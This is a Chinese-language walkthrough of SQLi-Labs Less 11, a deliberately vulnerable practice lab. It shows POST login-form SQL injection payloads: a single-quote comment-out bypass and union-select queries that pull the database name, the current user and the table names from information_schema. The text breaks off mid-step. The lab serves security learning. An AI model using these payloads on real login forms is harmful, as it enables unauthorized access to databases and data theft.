SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。
Less 11
SQLI DUMB SERIES-11
判断注入点
尝试在用户名这个字段实施注入,且试出SQL语句闭合方式为单引号:
同时输入正确的用户名就可以查看到数据,那么我们就只可以在这个uname位置直接注入。
uname=admin' -- &passwd=1
实施注入
获取数前数据库的数据名和用户名
uname=0' union select database(),user() from dual -- &passwd=1
获取当前数据库的表名:
uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- &passwd=1
获取user表的列名:
uname